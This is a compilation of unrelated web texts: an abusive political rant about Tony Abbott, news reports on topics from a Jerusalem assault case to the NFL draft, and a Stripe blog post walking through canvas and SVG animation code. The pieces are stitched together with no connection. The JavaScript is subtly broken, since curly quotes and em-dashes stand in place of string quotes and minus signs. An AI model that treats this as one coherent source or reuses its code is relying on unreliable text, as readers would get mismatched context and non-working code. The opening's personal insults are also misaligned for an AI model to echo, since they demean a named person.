(@hamishNews) December 7, 2017  What’s rich is Tony Abbott pushing the postal vote and then not showing up to represent the 75% of Warringah who votes Yes. — Samuel Leighton-Dore (@SamLeightonDore) December 7, 2017  Malcolm Turnbull has turned out to be a complete dud – and who could have possibly imagined it – but every passing day is a reminder that the Liberals were absolutely right to boot Abbott to the kerb. He’s a self-absorbed twat who couldn’t give a single toss about democracy.  Now it’s up to the good burghers of Warringah: come the next election, show this dickhead the door.
-Three Jewish men who confessed to assaulting an Arab taxi driver early last year were sentenced on Thursday to approximately a year in prison.  The Jerusalem District Court slapped the three with 11, 12, and 13 months’ imprisonment respectively for a hate crime against an Arab taxi driver, the Ynet news outlet reported.  The three confessed to the crime as part of a plea bargain agreement. The suspects said they had hailed the cab driver, and after entering the vehicle began beating and insulting him. The driver managed to get out of the car and run away, the report said, and the suspects proceeded to smash his sunroof.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  Jerusalem saw a spate of violent attacks against Arab taxi drivers in the past year, particularly during the Gaza summer conflict. Most recently, an Arab taxi driver was assaulted on December 1 in central Jerusalem with pepper spray.  On November 11, police said they arrested four 13-year-old boys who admitted to throwing stones at an Arab cab driver.
-This year’s Ramadan, a Muslim holy month devoted to fasting and praying, attracted a record-breaking 14 million pilgrims to Mecca within its first 16 days, Arab News reported. The holy city saw a 40 percent increase compared to the same period in 2014.  Located in the Sarawat Mountains of central Saudi Arabia, Mecca is considered the holiest city in Islam. Its Grand Mosque houses the Ka’aba, a cubic structure draped with a black cloth which Muslims around the world turn to face when they pray.  This Ramadan, worshippers arrived to perform Umrah, a minor pilgrimage to Mecca that can be done any time of the year (as opposed to the Hajj, the major pilgrimage made in the last month of the Muslim calendar).  According to Arab News, Issa Mohammed Rawas, undersecretary at the Ministry of Haj, said approximately five million foreigners have performed the Umrah so far this month. In a recent meeting hosted by the Central Haj Committee, Salah Saqr, the secretary of the committee, said the city needed more than 650,000 vehicles to bring in the devout pilgrims.  Since the 1980s, the Saudi government has been refurbishing Mecca and its surrounding areas to accommodate the soaring pilgrimage numbers, the Associated Press reported.  In 2008, developers demolished the house of Abu Bakr, the Prophet Muhammad's successor as leader of the Muslim community, and replaced it with a Hilton hotel. In 2012, a seven-tower complex that houses the sky-high Mecca Royal Clock Tower, was erected on top of the Ottoman Ajyad Fortress. The fortress was built around 1780 to protect the city from bandits and invaders.  The following year, the Saudi government announced the development of the Al-Sharashif Mountain, an unplanned area of slums populated with migrant workers. The neighborhood will be transformed into a major urban center, consisting of hotels, commercial and residential buildings, educational and health facilities, and other supporting services, according to the Saudi Gazette.  While ample space is necessary for such a revered site, recent expansions have been met with mixed reactions.  Critics point to the fact that developers have not only been obliterating ancient sites, they’ve been replacing them with five-star hotels and commercial centers that only the elite will enjoy.  "There is nothing holy about having Pizza Hut right next to the holiest site in Islam," Mohammed Abdullah Attar, a religious scholar in one of the all-boys' schools in Mecca, told The Christian Science Monitor.  On the other hand, officials working to develop Mecca speak with pride about the holy city, claiming an overhaul of the Great Mosque only reaffirms its significance to Muslims worldwide.  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  In 2014, Saudi Arabia’s top religious official, Grand Mufti Abdul-Aziz Al-Sheikh, told The Associated Press that he supported the demolitions in 2013, saying "the removal of such things within the expansion is necessary."  Whether or not Mecca will witness more developments and high-end hotels, devout Muslims will keep making pilgrimages to the holy city. By 2017, some will be able to stay in Abraj Kudai, slated to become the world’s largest hotel. With 10,000 rooms, 70 restaurants, and 12 towers, the multi-service complex will stand roughly a mile south of Mecca’s Great Mosque.
-Stripe Open Source: Behind the Scenes  Benjamin De Cock Blocked Unblock Follow Following Sep 22, 2015  Earlier this month, we released a page about Stripe’s involvement with open source that showcases some of the projects we’ve released over the years. I’m proud to be part of a team that understands the importance of open source and generously gives back to the community, so I felt enthusiastic about designing our communication around it. Thankfully, the overall response to this page has also been enthusiastic, so I thought I’d write a technical breakdown of some of its parts.  Game of Life  The Game of Life is a zero-player game created by John Conway. Its rules are simple, yet fascinating, in how they open endless patterns. We thought it’d be a nice and appropriate little touch to use it as the background for the header and content.  The implementation uses canvas, which is perfectly suited performance-wise for that kind of task. The script starts by grabbing the canvas and defining the shared constants:  const canvas = document.querySelector(“canvas”);  const ctx = canvas.getContext(“2d”);  const cellSize = 10;  const cellMargin = 2;  const cellsPerLine = canvas.width / (cellSize + cellMargin);  const cellColors = new Map();  cellColors.set(“dead”, “#eee”);  cellColors.set(“alive”, “#5be”);  Then each cell is defined and drawn to create the grid:  const cells = [];  for (var row = 0; row < cellsPerLine; row++) {  const y = row * (cellSize + cellMargin);  for (var col = 0; col < cellsPerLine; col++) {  const cell = new Map();  cell.set(“x”, col * (cellSize + cellMargin));  cell.set(“y”, y);  cell.set(“isAlive”, false);  cell.set(“willLive”, false);  cells.push(cell);  ctx.fillStyle = cellColors.get(“dead”);  ctx.fillRect(cell.get(“x”), cell.get(“y”), cellSize, cellSize);  }  }  Each cell is a Map containing its position and state. It also references the surrounding cells to figure out if it’ll live or die on the next round. Most of the cells have 8 direct neighbors (3 top, 2 middle, and 3 bottom cells) though some of them won’t — a cell in the first line won’t have top neighbors, for example. Neighbors are added to each cell Map:  cells.forEach((cell, i) => {  const neighbors = [];  const isNotInFirstLine = i + 1 > cellsPerLine;  const isNotInLastLine = i < cells.length — cellsPerLine;  const isNotFirstInLine = i % cellsPerLine > 0;  const isNotLastInLine = (i + 1) % cellsPerLine > 0;  // top  if (isNotInFirstLine) {  if (isNotFirstInLine) neighbors.push(cells[i-cellsPerLine-1]);  neighbors.push(cells[i-cellsPerLine]);  if (isNotLastInLine) neighbors.push(cells[i-cellsPerLine+1]);  }  // middle  if (isNotFirstInLine) neighbors.push(cells[i-1]);  if (isNotLastInLine) neighbors.push(cells[i+1]);  // bottom  if (isNotInLastLine) {  if (isNotFirstInLine) neighbors.push(cells[i+cellsPerLine-1]);  neighbors.push(cells[i+cellsPerLine]);  if (isNotLastInLine) neighbors.push(cells[i+cellsPerLine+1]);  }  cell.set(“neighbors”, neighbors);  });  The implementation on stripe.com/open-source is slightly different as it uses an infinite canvas but the idea is roughly the same.  The cells now have all the data they need and the animation function that relies on this data can be created. The Game of Life requires all computations to be done before changes occur, so our function will loop over the cells twice to:  Define all the cells that will live and die on the next round based on each cell’s neighbors; Apply these changes.  This is how it looks in practice:  const anim = () => {  // define  cells.forEach(cell => {  const livingNeighbors = cell.get(“neighbors”).filter(el =>  el.get(“isAlive”)).length;  // A live cell with 2 or 3 live neighbors stays alive  // A dead cell with 3 live neighbors becomes a live cell  cell.set(“willLive”,  cell.get(“isAlive”)  ? livingNeighbors > 1 && livingNeighbors < 4  : livingNeighbors == 3  );  });  // draw  cells.forEach(cell => {  if (cell.get(“isAlive”) == cell.get(“willLive”)) return;  cell.set(“isAlive”, cell.get(“willLive”));  ctx.fillStyle = cellColors.get(  cell.get(“isAlive”) ? “alive” : “dead”  );  ctx.fillRect(cell.get(“x”), cell.get(“y”), cellSize, cellSize);  });  // repeat  setTimeout(() => requestAnimationFrame(anim), 100);  };  Before launching the animation, we should obviously define some default living cells. The Open Source page uses various complex “spaceships” but, for the sake of the example, we’ll define 500 random living cells:  const randomInt = (min, max) =>  Math.floor(Math.random() * (max — min + 1)) + min;  for (var i = 0; i < 500; i++) {  const cell = cells[randomInt(0, cells.length — 1)];  cell.set(“isAlive”, true);  ctx.fillStyle = cellColors.get(“alive”);  ctx.fillRect(cell.get(“x”), cell.get(“y”), cellSize, cellSize);  }  We’re now ready to launch our animation and watch the Game of Life happens!  requestAnimationFrame(anim);  Line Drawing Animation  The category icons use a simple technique to create a color-filling animation as you hover over the navigation links.  The color doesn’t progressively fill, it’s faked by moving a stroke. Here’s the idea:  Each SVG icon is cloned and placed above its model. The stroke of these cloned icons is then modified: stroke-dasharray and stroke-dashoffset are set to the icon’s path length, resulting in a single big dash located outside the path. On hover, each dash’s offset is animated from its current value to zero, creating the line-drawing effect.  I’m using Animate Plus for these animations but the principle would remain pretty much the same no matter what tool you use. Here’s how it works:  // The default grey icon  const inactive = document.querySelector(“svg”);  // The cloned icon we'll use for the animation  const active = inactive.cloneNode(true);  // A reference to all the paths composing the icon  const paths = […active.getElementsByTagName(“path”)];  // Calculate the path lengths and make the stroke dashed  const pathLengths = paths.map(path => {  const pathLength = path.getTotalLength();  [“array”, “offset”].forEach(attr =>  path.setAttribute(`stroke-dash${attr}`, pathLength));  return pathLength;  });  // Change the stroke color and append the cloned icon  active.querySelector(“g”).setAttribute(“stroke”, “#0CB”);  document.body.appendChild(active);  // Animate the offset of all the paths  active.addEventListener(“mouseenter”, () =>  paths.forEach((path, i) =>  animate({  el: path,  easing: “easeOutQuart”,  duration: 500,  “stroke-dashoffset”: [pathLengths[i], 0]  })));  A different animation is then added for mouseleave using a similar workflow and the opacity and offsets are reset to their initial values at the end of the animation:  active.addEventListener(“mouseleave”, () =>  paths.forEach((path, i) =>  animate({  el: path,  easing: “easeOutQuad”,  duration: 500,  opacity: 0,  complete() {  path.setAttribute(“stroke-dashoffset”, pathLengths[i]);  path.style.opacity = 1;  }  })));  Elastic Scrolling  Scrolling the page programmatically to a specific position is a common behavior on the web. The Open Source page uses a similar pattern for its 6 sub-categories but introduces a subtle yet significant difference: the page itself doesn’t scroll, the elements in the page move independently in order to emulate a natural and arguably interesting behavior.  Just like with the previous section, we’re going to use a simplified example:    
Category 1
  
      
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Category 2
  
      
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  Our script will start by selecting the elements we’ll use:  const nav = document.querySelector(“nav”);  const navLinks = […nav.querySelectorAll(“a”)];  const animatedElements =  […document.querySelectorAll(“h1, .cards li”)];  The navLinks and animatedElements NodeLists are expanded into arrays using the spread operator in order to access Array.prototype methods.  The last element that still needs to be referenced is the scrolling root. Despite the specification being clear on it, browsers disagree on which element should handle the scroll position. Firefox and Edge use html, while Safari and Chrome consider body as the scrolling element. A new DOM API has been introduced to deal with this issue (document.scrollingElement) but we can’t rely on it yet as it’s not widely supported. Thus, fetching the correct scrolling element without relying on UA sniffing is unfortunately verbose and inelegant:  const scrollRoot = (() => {  if (“scrollingElement” in document)  return document.scrollingElement;  const initial = document.documentElement.scrollTop;  document.documentElement.scrollTop = initial + 1;  const updated = document.documentElement.scrollTop;  document.documentElement.scrollTop = initial;  return updated > initial  ? document.documentElement  : document.body;  })();  This scrollRoot is used to calculate and set the scroll position correctly at the end of the custom scrolling animation which works like this:  When a category link is clicked, the delta is calculated between the current scroll position and the position of the section we reach. Animate all the elements in the animatedElements array using a vertical translation of delta. At the end of the animation, cancel all the translations and set the correct scroll position.  We start by looping over the navigation links and fetch the position of each title which marks the beginning of the sections:  const navHeight = nav.getBoundingClientRect().height;  navLinks.forEach(link => {  const title = document.querySelector(link.getAttribute(“href”));  const pos = title.getBoundingClientRect().top — navHeight;  });  This loop adds an event listener to each link that triggers the animations. The animations are created again with Animate Plus:  link.addEventListener(“click”, e => {  e.preventDefault();  const delta = scrollRoot.scrollTop — pos;  // Reversing the array if it scrolls to the top so the delays are  // applied in the right order.  const elements = delta < 0  ? animatedElements  : animatedElements.slice().reverse();  elements.forEach((el, i) => {  const params = {  el,  translateY: delta,  easing: “easeOutExpo”,  // Increase the delay for each element to create the elastic  // scroll effect.  delay: i * 40  };  // When the last element finishes to animate, cancel all the  // transforms and set the correct scroll position.  if (!elements[i + 1])  params.complete = () => {  elements.forEach(el => el.removeAttribute(“style”));  scrollRoot.scrollTop = pos;  };  animate(params);  });  });  And that’s it! Keep in mind this simplified example skips quite a lot of details (for example, the actual implementation only animates the elements visible during the scroll) but it illustrates the core principles behind a custom elastic scroll.  3D Cards  The 3D effect that occurs as you click and drag on the project cards is slightly overkill, but it was also extremely fun to build!  The example below is pared down from the original. We’ll be recreating the effect for a single element only. Let’s start by selecting the element and calculating its center coordinates:  const card = document.querySelector(“.card”);  const cardCoordinates = card.getBoundingClientRect();  const cardCenter = {  x: cardCoordinates.left + cardCoordinates.width / 2,  y: cardCoordinates.top + cardCoordinates.height / 2  };  The center of the card is used to define the angle of the rotation, as the angle should increase proportionally to the distance between your cursor and the center of the card. The angle limit and the perspective of the rotation are defined arbitrarily.  const angle = {  max: 15,  perspective: 800  };  const setAngle = e => {  angle.x = angle.max *  (cardCenter.y - e.clientY) / (cardCoordinates.height/2);  angle.y = angle.max *  (e.clientX — cardCenter.x) / (cardCoordinates.width/2);  card.style.transform =  `perspective(${angle.perspective}px)  rotateX(${angle.x}deg)  rotateY(${angle.y}deg)`;  };  setAngle is called on mousedown to set the initial rotation and on mousemove to update the rotation accordingly to the cursor position.  We need to account for two additional events to complete our behavior: mouseup and mouseleave. In both cases, the card will animate from its current rotation to zero. A callback will be defined to be used by both events:  const end = () => {  animate({  el: card,  perspective: [angle.perspective, angle.perspective],  rotateX: [angle.x, 0],  rotateY: [angle.y, 0]  });  };  The tricky part is that the mousemove, mouseup and mouseleave events must be added and removed dynamically: you start listening for them as soon as you start clicking on the card and stop when you release the mouse or leave the card. A toggleDynamicEvents function will deal automatically with the dynamic events:  const toggleDynamicEvents = (() => {  var added = false;  const events = {  move: setAngle,  up: end,  leave: end  };  const toggle = event =>  card[`${added ? “remove” : “add”}EventListener`]  (`mouse${event}`, events[event]);  return () => {  Object.keys(events).forEach(toggle);  added = !added;  };  })();  toggleDynamicEvents is then called when mousedown fires and inside the end function we previously defined:  const start = event => {  setAngle(event);  toggleDynamicEvents();  };  const end = () => {  animate({  el: card,  perspective: [angle.perspective, angle.perspective],  rotateX: [angle.x, 0],  rotateY: [angle.y, 0]  });  toggleDynamicEvents();  };  card.addEventListener(“mousedown”, start);  And voilà! Just like with the previous sections, the code shown here purposely ignores some technical details to keep the example concise and focused. If you use similar techniques in your own projects, make sure you take the edge cases into account in order to provide a robust and consistent user experience.
-WASHINGTON — The United States transferred four detainees from the Guantánamo Bay prison to Afghanistan late Friday, the Defense Department announced Saturday, fulfilling a request from the new Afghan president, Ashraf Ghani, in what officials here characterized as a show of good will between the United States and the government in Kabul.  The four men are not likely to be subjected to further detainment in Afghanistan, an Obama administration official said. The transfer brings the number of Afghans still held at the American military prison in Cuba to eight of the 132 detainees over all.  The transfer is the latest in a series of detainee releases and reflects a quickened pace, as President Obama has been pushing to make good on his goal of shutting the military prison at Guantánamo, a pledge that dates to the earliest days of his presidency. One administration official said more transfers are expected in the coming weeks.  Delays by Secretary of Defense Chuck Hagel in signing off on transfers that had been approved by Mr. Obama’s national security staff contributed to tensions between the exiting Pentagon chief and the White House, particularly with the national security adviser, Susan Rice. But Mr. Hagel, who resigned under pressure last month, has maintained all year that he would not be rushed into releasing prisoners.
-A sheriff says two bailiffs and a gunman are dead after a shooting at a western Michigan courthouses on Monday.  Berrien County Sheriff Paul Bailey said at a news conference late Monday afternoon that an inmate who was being held at the berrien County courthouse on numerous felony charges was being moved when he disarmed an officer and then shot and killed the two bailiffs. The victims have been identified as 61-year-old Joseph Zangaro and 63-year-old Ronald Kienzle.  Zangaro was head of court security. He retired from the Michigan State Police as commander of the Bridgman Post in Berrien County.  Kienzle retired as a sergeant of the Benton Township Police Department after serving in the U.S. Army.  Bailey said they were "close friends" of his.  The deputy sheriff, we're told, was also shot but is in stable condition at Lakeland Hospital in St. Joseph. He has been identified as Deputy James Atterberry.  A civilian was shot in the incident, but is also expected to be OK. Her name has not been released.  Both of them were shot in the arm.  The inmate, who has been identified as 44-year-old Larry Darnell Gordon of Coloma, was killed by other officers after the shooting.  St. Joseph is located in far southwestern Michigan's Berrien County, which borders Indiana.  Michigan Supreme Court Chief Justice Robert Young released this statement following the incident:
-During most of his 16-year stint with the Buffalo Bills, Russ Brandon has treated the completion of the NFL draft like the last day of finals, going straight from the team's Orchard Park, N.Y., training facility to a nearby restaurant and enjoying some celebratory munchies and cocktails with scouts, front-office executives and significant others.  A good time is usually had by all, but Saturday night's gathering was especially fulfilling for Brandon, the CEO and president who last Jan. 1 was given full authority over the team's operations by 94-year-old owner Ralph Wilson. After identifying and landing a potential franchise quarterback while somehow maintaining the element of surprise, the Bills brought in a cast of supporting actors he believes can help get his playoff-starved franchise closer to the big stage.  Scroll to continue with content Ad  From Brandon's perspective, the plan implemented by general manager Buddy Nix couldn't have played out more perfectly. And in an era of increasingly intrusive probes for information – just ask Nix, who last month was tricked into having a phone conversation with Tampa Bay Buccaneers counterpart Mark Dominik that ended up on a popular sports website – Brandon's commitment to clandestineness hit particularly close to home.  "There's so much awareness, so much coffee talk and so much false information out there, and I always get a kick out of it," Brandon said via telephone Saturday night during a short break from the post-draft festivities. "We really try to be an organization that sticks close to the vest and stays under the radar.  "So many people get involved in trying to figure out who's picking who, and that passion is what makes the game so great. My kids didn't even know what we were going to do. I told them, 'That's the way we roll.' "  Story continues  [More: Winners, losers from 2013 NFL draft]  The secrecy paid off for the Bills, who picked up a pair of extra selections (in the second and seventh rounds) from the St. Louis Rams after trading down eight spots in Thursday's first round. When they took former Florida State quarterback E.J. Manuel 16th overall, it was a surprise to virtually everyone outside the war room.  The Bills had conducted private workouts with five quarterbacks, and various reports linked them to Syracuse's Ryan Nassib, West Virginia's Geno Smith and USC's Matt Barkley. Nassib, who'd played for newly hired Bills coach Doug Marrone at the 'Cuse, was presumed to be the leading candidate.  Yet it was Manuel, a 6-foot-5, 237-pounder long on potential, who Brandon, Nix and Marrone agreed they had to have.  The Bills could have played it safe and taken Manuel eighth overall, but with the Rams eager to land West Virginia wideout Tavon Austin, an enticing gamble presented itself. Buffalo, which had only six picks heading into the draft, could pick up two additional selections by trading down with St. Louis.  Austin, according to a Rams source, was "at the top of [the Bills'] draft board, but they didn't want to take him. And they knew the Jets [picking ninth overall] wanted him. So, they could take their guy and risk facing [Austin] twice a year, or they could make the trade and get him out of the division."  The Bills did the deal, dropping down to 16 and sweating out the next eight selections.  "Buddy was comfortable that we could make the deal and still get what for us was the ultimate prize," Brandon said. "It's always a little bit nerve-wracking in those situations. You can do all the recon you want, but as you know, everybody's lying to everybody anyway this time of year."  Once the team landed Manuel, the Bills had accomplished a prime objective. "Our goal coming in was to bring in another bell-cow quarterback to compete for the job [with newly signed Kevin Kolb and holdover Tarvaris Jackson], and we did that with E.J.," Brandon said. "Then we added some new tools in the toolbox."  On Friday, Buffalo drafted a pair of receivers, USC's Robert Woods (second round) and Texas' Marquise Goodwin (third round), who'll team with flamboyant wideout Stevie Johnson for what should be a significantly upgraded passing attack. In between those picks, the Bills used the second-round selection they got from the Rams to snag Kiko Alonso, a versatile linebacker from Oregon who'd been rising on many teams' draft boards.  More defensive help arrived on Saturday with the selections of safeties Duke Williams (Nevada) and Jonathan Meeks (Clemson) in the fourth and fifth rounds, respectively. Kicker Dustin Hopkins, a Florida State teammate of Manuel's, and Arkansas tight end Chris Gragg rounded out the class, at which point the team scrambled to sign undrafted free agents, a process Brandon likened to Wall Street trading.  Then, at last, it was time for Brandon and his front-office employees to unwind and congratulate one another on a job well done. They're not alone, of course. The reality is that 32 teams got better over these past three days, but the NFL is a zero-sum game, and 16 of them will lose on any given weekend.  With a league-high 13-year postseason drought (dating back to the infamous Music City Miracle), the Bills understandably provoke a healthy share of skepticism from fans and media analysts alike. For what it's worth, their CEO is convinced his franchise took some big steps toward respectability these past few days.  "We're thrilled with the way it worked out," Brandon said, and for the first time in awhile, he seemed to be telling the truth.  [More: Complete 2013 NFL draft breakdown]  Here are a few other takeaways from the NFL's 78th Annual Player Selection Meeting:  • Matt Barkley and friends had a rough draft, but we should have seen it coming: After two nights and three rounds of excruciating neglect, Barkley finally got the lifeline he so badly needed Saturday, with the Philadelphia Eagles trading up with the Jacksonville Jaguars to take him with the first pick of the fourth round. Heralded as a likely top-five selection before electing to remain at USC for his senior season, Barkley suffered perhaps the most devastating draft freefall in modern NFL history. Yet if the young man's spirits were dampened, he did a tremendous job of hiding his disappointment on Saturday night. "I know it will be great!!!!" Barkley said via text message in regard to joining the Eagles. "Time to make history."  I'm going to go on record right now in expressing my agreement: I believe Barkley will be a highly successful NFL quarterback. The kid has an edge, and I believe he has an it factor, though I concede that plenty of NFL coaches and talent evaluators don't seem to share that assessment. And with only Manuel, Smith and Mike Glennon selected over the first three rounds – the worst showing for QBs since 2000 (Chad Pennington, Gio Carmazzi, Chris Redman) – it wasn't just Barkley and Nassib (who went later in the fourth round to the Giants) getting dissed. In reality, the devaluing of this quarterback draft class (save Manuel) began long before Thursday.  [More: New Cardinals DB Tyrann Mathieu continues to raise red flags]  It started with the Eagles' surprising decision to re-sign Michael Vick, continued with the Kansas City Chiefs' trade for Alex Smith and extended to the Raiders' trade for Matt Flynn and subsequent dealing of Carson Palmer to the Cardinals. In the end, the Cleveland Browns were content to roll with second-year quarterback Brandon Weeden (and newly signed backup Jason Campbell) while the Jags stood pat with Blaine Gabbert and Chad Henne. On paper, that sounds dubious, but those franchises are being run by new regimes that don't feel instant pressure to succeed and thus can wait a year to address their quarterback situations. And the "Biff For Bridgewater" drumbeat can now begin in earnest, with the Browns and Jags joining the Raiders and New York Jets among the early pack of favorites to get the first overall pick in 2014.  • Manti Te'o landed on his feet, but please don't compare him to a fallen warrior: After all the negativity surrounding the former Notre Dame linebacker in the wake of his lousy BCS national championship game performance and subsequent catfishing saga, his selection in the second round by the San Diego Chargers Friday gave him a solid shot at NFL success, especially given that he'll play in a relatively laid-back media market. That said, Te'o should do everything he can to escape the shadow of the late, great Junior Seau, perhaps the most beloved player in franchise history.  At his introductory news conference at the Chargers' training facility Saturday, Te'o conceded that he'd idolized the future Hall of Fame linebacker while growing up in Hawaii, telling reporters, "It starts off with Junior. Me being a Polynesian-Samoan kid, you look up to Junior. He's a Samoan man who was a trailblazer for kids like me." And if Seau were still with us, I think he'd tell Te'o: "Buddeeeee – blaze your own trail, and keep it real." Then Junior would stick him with a massive tab at Japengo and make him feel special in the process.  [Related: Watch: Is Manti Te'o a good fit for the Chargers?]  • Chargers' new regime tried to make an old-school splash: I spent some time on Saturday with the great LaDainian Tomlinson, who after having spent his final two seasons with the New York Jets, signed a one-day contract with the Chargers and staged a retirement ceremony last June. And I learned something rather surprising: Tomlinson, who'll turn 34 in June, was recently offered an opportunity to rejoin the Bolts this season in a very real capacity.  "I met [new general manager] Tom Telesco and [rookie head coach] Mike McCoy at the [NFL scouting] combine, and they asked me to come back and play," Tomlinson said. "I saw [executive vice president] John Spanos at a restaurant in Indy, and he introduced me to them, and they brought it up. At first I thought they weren't really serious, but they kept talking about it, and I realized it was real. They said, 'You can come back and carry it 10 or 12 times a game. We'd like to have you here.' " Though flattered, Tomlinson said he didn't seriously consider the offer: "No, because when I made the decision to walk away, I wrestled with it long and hard, and I knew it was final. Once I retired, that was it. My mind is in a different place. Mentally, going back would have been too hard."  [More: No imposter this time, Redskins draft real Phillip Thomas]  • Niners continue to flex their muscles: In fact, you might call the reigning NFC champions Bostonstrong after Friday's selection of Rice tight end Vance McDonald in the second round, a move that could allow San Francisco to feature a Patriots-style, two-tight-end passing circus. Already armed with a top-shelf tight end in Vernon Davis, the Niners got a potentially scary complement in McDonald, a smart, athletic, multi-dimensional threat who'll allow brainy offensive coordinator Greg Roman to get even more creative.  After trading up to land safety Eric Reid in the first round, the Niners could have stood pat and selected former Stanford tight end Zach Ertz with the second pick of Friday's second round. Instead, they traded down, taking McDonald 21 picks later. Roman and head coach Jim Harbaugh would have been happy to have Ertz, who played for them at Stanford and was the second-rated tight end (behind Notre Dame's Tyler Eifert) on most draft boards. The guy they really wanted, however, was McDonald. Something tells me the Pats' killer tight end combo of Rob Gronkowski and Aaron Hernandez may soon have a viable rival on the West Coast.  More on the Chargers' draft selections from NFL.com:  Other popular content on Yahoo! Sports:  • Geno Smith predicts playoffs after being drafted by Jets  • Jon Jones makes quick work of Chael Sonnen  • Thunder's Russell Westbrook out for season after knee surgery  • J.R. Smith suspended for Knicks-Celtics Game 4
-Teen Top has revealed the next project they have in store for their sixth anniversary!  During their Naver V App broadcast, which took place in the evening of July 10, Teen Top satisfied fan curiosity surrounding their third anniversary project.  “We have sung fan songs for our Angels in the past, but with the ‘Angel Song Project,’ we plan on personally writing and composing [fan] songs ourselves to express our thankful hearts on our sixth anniversary,” L.Joe explains.  C.A.P adds, “The fan songs will be revealed at Teen Top’s upcoming fifth fan meeting.”  The “Angel Song Project” is slated to consist of two fan songs. During the broadcast, the members play a game to divide themselves up into two teams. The first team, composed of C.A.P, Ricky, and L.Joe will be writing a hip hop song, and the second team, composed of Changjo, Niel, and Chunji, will do a ballad.  Teen Top debuted in July 9 of 2010 and is celebrating their sixth anniversary with a series of projects. They kicked off the celebrations by sharing the previously unreleased music video for “Love Comes,” a track they almost debuted with.  Are you looking forward to the “Angel Song Project”?  Source (1)
-A Look at Clint's Life in the Political Arena; 1986-88  n January 30th, 1986, a local Carmel, California newspaper first announced the news: Clint Eastwood was running for mayor -- salary, $200 a month!  Like Dirty Harry, he was fighting bureaucracy, waging a war on bylaws in his adopted hometown of Carmel. His campaign certainly made the media's day but when he got a whopping 72% of the poll, even former President Reagan phoned with envious congratulations.  Clint insisted during his two year period as mayor that it was not the launch pad for larger political ambitions. His concern was strictly with Carmel. "We got rid of quite a lot of punitive attitudes on the council and helped people get things done," he claimed later. "We got things built -- beach walkways, a library annex which had been waiting 25 years, and so on. I approached it from a business point of view, not a political one."  The reason Clint entered the political arena in the first place was that he believed he was being disrespectfully treated by the little city's administration, and he was upset about it. Hassled with rules, regulations, and taxes regarding building permits and zoning laws, and tired of getting the runaround and going through endless miles of red tape with the city, Clint decided to fight back.  The breaking point was when the preservationist-dominated town council automatically rejected Clint's plans to build a small building in downtown Carmel that would have improved the surrounding area. Clint promptly sued the city winning an out-of-court settlement that permitted him to proceed with his building.  It was this fight with city hall that got Clint thinking. It got him closer to the Carmel business community and led to discussions about challenging the incumbent mayor, Charlotte Townsend, who was then approaching the end of her second term. People started to edge him on and show early support if he considered to run against her.  He hired a campaign manager, and after early opinion polls about how people would feel if he ran looked positive, he filed the papers just hours before the deadline and launched his campaign.  His strategy was very basic: He never attacked Townsend directly, he gave no interviews to the national press, and stayed tightly involved in the community. He did almost no paid advertising -- just some buttons and bumper stickers. It was, all in all, one of the most tasteful campaigns in the history of modern American politics. He politely refused autographs when he was out on walking tours. His slogan was simple, "Bringing the Community Together," and in talks he stressed his desire to build bridges between the business community and the residential community. His strategy worked!  On April 8th, 1986, with twice the voter turn out showing up, Clint got a whopping 72.5 % of the vote. To show that there was no hard feelings, a week later at his inaugural ceremony, he gave Townsend and two of her close allies some potted redwood seedlings as reconciliatory gifts.  For his two year term in office, Clint fulfilled to his own satisfaction, all his major campaign promises. Among them, he made it easier to build or to renovate property. He got a tourist parking lot constructed. He remodeled The Mission Ranch and preserved the precious landscape it was on which was supposed to be demolished in favor of 80 condominiums. He also opened the library annex which is dedicated for children's use, and it is said to be the accomplishment of which he is most proud.  Though he enjoyed his experience, he opted not to run for a second term. He began to reach this conclusion one day standing in a chilly garage, surrounded by staff and council members trying to decide if a prominent Carmel citizen, a doctor, would be permitted to change the slope of his garage roof. Life was too short for this kind of pettiness. Late in 1987 he announced that he would not stand for a second term. And although he made two films while in office (Heartbreak Ridge and Bird), in early 1988, Clint was back to devote a full time effort to his career in film.
-BY:  A new report issued by House Republicans attributes security reductions at the U.S. mission in Benghazi, Libya, to the State Department, and concludes the Obama administration altered talking points but not for the stated reason of protecting classified information.  The report, which was produced by top national security House Republicans, notes that the "reductions of security levels prior to the attacks in Benghazi were approved at the highest levels of the State Department, up to and including Secretary Clinton."  "Secretary Clinton’s signature," according to the report, "acknowledges Ambassador Cretz’s request for additional security but instead articulates a plan to scale back security assets for the U.S. Mission in Libya, including the Benghazi Mission."  The report also critiques sharply the Obama administration response to and portrayal of the attack, the Washington Times reports:  In the most damning finding, House Republicans said Mr. Obama and his team lied about the attacks afterward, first by blaming mob violence spawned by an anti-Muslim video, and then wrongly saying it had misled the public because it was trying to protect an FBI investigation. "This progress report reveals a fundamental lack of understanding at the highest levels of the State Department as to the dangers presented in Benghazi, Libya, as well as a concerted attempt to insulate the Department of State from blame following the terrorist attacks," the GOP investigation concluded in its 46-page report. The Obama administration has acknowledged providing an inaccurate explanation for the attacks early on — even though officials at the Defense Department said they knew it was a terrorist assault from the beginning.  "Contrary to Administration rhetoric, the talking points were not edited to protect classified information," according to the report. "Concern for classified information is never mentioned in email traffic among senior Administration officials."  The full report can be read here.
-The San Francisco 49ers are expected to add at least one more rookie quarterback to the training camp mix as league sources indicate they will sign former Ole Miss Rebel and Oregon Ducks QB Jeremiah Masoli. The San Francisco native started his college career at City College of San Francisco before transferring to Oregon. In 2009 he led the Ducks explosive offensive attack with a combined 2,815 total yards of offense and 28 total touchdowns.  Sign up for our NFL Newsletters for more analysis from our 49ers blog  Unfortunately for Masoli he was unable to stay out of trouble as he pled guilty to burglary and was suspended for the entire 2010 season. Following the suspension he was cited in June 2010 for marijuana possession and coach Chip Kelly quickly decided to dismiss him from the team. Masoli transferred to Ole Miss where he threw for 2,039 yards with 14 touchdowns and 13 interceptions.  The 49ers have one project QB in Colin Kaepernick and find themselves possibly in the mix for veteran QB Matt Hasselbeck. Masoli will get some snaps in training camp, but it would be surprising to see him get enough to end up anywhere but the practice squad at best. It's also entirely possible the team considers trying to convert him away from quarterback as he brings fantastic athleticism but not much in the way of passing abilities.  For more on Jeremiah Masoli and the San Francisco 49ers, head over to Niners Nation and SB Nation Bay Area.
